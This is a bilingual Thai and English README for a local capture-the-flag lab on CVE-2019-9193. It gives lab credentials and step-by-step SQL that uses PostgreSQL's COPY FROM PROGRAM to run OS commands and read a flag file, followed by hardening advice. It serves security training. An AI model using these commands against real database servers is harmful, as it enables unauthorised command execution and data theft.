ENGLISH BELOW

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

Lab นี้จำลองช่องโหว่ CVE-2019-9193 ที่เกิดใน PostgreSQL เวอร์ชัน 9.3 - 11.2 ซึ่งเปิดให้ user ที่เป็น superuser หรือมี role pg_execute_server_program สามารถใช้คำสั่ง:

COPY ... FROM PROGRAM '<command>'

เพื่อรันคำสั่ง OS ได้โดยตรง ส่งผลให้เกิด Remote Command Execution (RCE) หากผู้โจมตีสามารถเข้าถึงฐานข้อมูลได้

Lab นี้ให้คุณใช้ความสามารถดังกล่าวเพื่ออ่านไฟล์:

/tmp/flag.txt

เป้าหมายของ Lab

1. เชื่อมต่อ PostgreSQL ด้วย:
   • User: postgres
   • Password: sentinel7
   • Port: 5433
2. ใช้ COPY FROM PROGRAM เพื่อรันคำสั่ง OS
3. อ่าน flag จาก /tmp/flag.txt

การเริ่มต้น

docker compose build
docker compose up -d

จากนั้นเชื่อมต่อฐานข้อมูล:

psql -U postgres -h 127.0.0.1 -p 5433

ขั้นตอนโจมตี

1) สร้างตารางเก็บ output

CREATE TABLE cmd_exec(cmd_output text);

2) ทดสอบ RCE ด้วยคำสั่ง id

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) อ่าน flag

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

ตัวอย่าง output:

flag{SECRET}

ข้อแนะนำด้านความปลอดภัย

• ห้ามใช้ user postgres กับแอปจริง
• จำกัด role ไม่ให้มี pg_execute_server_program
• ปิดหรือจำกัดการใช้ COPY PROGRAM
• ป้องกัน SQLi ในระบบทั้งหมด

ENGLISH VERSION

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

This lab simulates CVE-2019-9193, a PostgreSQL 9.3–11.2 vulnerability allowing:

COPY ... FROM PROGRAM '<command>'

to execute OS commands when run by a superuser or a role with pg_execute_server_program.

Your task is to exploit this feature to read:

/tmp/flag.txt

Objective

1. Connect to PostgreSQL:
   • User: postgres
   • Password: sentinel7
   • Host port: 5433
2. Use COPY FROM PROGRAM to:
   • Execute OS commands
   • Retrieve the flag

Getting Started

docker compose build
docker compose up -d

Connect via:

psql -U postgres -h 127.0.0.1 -p 5433

Exploitation

1) Create table

CREATE TABLE cmd_exec(cmd_output text);

2) Test RCE

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) Read the flag

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

Security Notes

• Never run applications using PostgreSQL superuser
• Do not grant pg_execute_server_program unnecessarily
• Disable or restrict COPY PROGRAM
• Harden apps against SQL injection